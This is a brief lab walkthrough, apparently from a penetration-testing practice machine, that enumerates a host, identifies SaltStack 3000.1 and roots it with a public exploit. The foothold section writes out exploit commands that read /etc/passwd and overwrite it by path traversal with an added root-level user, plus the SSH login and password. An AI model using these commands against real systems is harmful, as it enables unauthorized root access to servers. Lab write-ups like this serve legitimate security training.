Enumeration

2021年7月28日 15:02

1: Use autorecon to enumerate its services, **22, 53, 80, 4505, 4506, 8000** are open
2: **DNS** service is not accessible. **4505** and **4506** are **zmtp** service, using **ZeroMQ 2.0**. After searching some info, it looks like ZeroMQ relate to **SaltStack**
3: Enumerate Http Port 80, I find a login portal, however, default credential (**admin:default**) does not work. And brute-force is also unhelpful
4: Enumerate Http Port **8000**, it only outputs some **json** data. If I input a wrong URL, I can get its server which is **CheryPy**. However, it does not have any helpful vulnerability
5: Check request, there is an interesting header: **X-Upstream: salt-api/3000-1**. Combine with step 2, I can make sure that Port 8000 is related to **SaltStack 3000.1**
6: It has a public exploit: https://www.exploit-db.com/exploits/48421

Foothold

2021年7月28日 15:05

1: Download the exploit, install required module and read its usage
2: **python3 poc.py --master 192.168.185.62 --read /etc/passwd**, now I can read target's **passwd** file
3: Copy its content and add a new line:
hack:1hack$R78Vb02JSSxv5kQZvNiPU.:0:0:root:/root:/bin/bash
4: Upload modified passwd to target server: **python3 saltstack.py --master 192.168.185.62 --upload-src /home/os/Desktop/passwd --upload-dest ../../../../../etc/passwd**
5: **ssh hack@192.168.185.62**, with password 123123
6: Get root shell

Privilege Escalation

2021年7月28日 15:05

1: Already root shell

Review

2021年7月28日 15:05

1: Target **HTTP, ZMTP**
2: Search for **Zmtp service/ZeroMQ** to know what it is **used with** and **used for**
3: Analyze **unique request header** to conclude it is **SaltStack 3000.1**
4: Install required modules and know its usage
5: Many ways to get a shell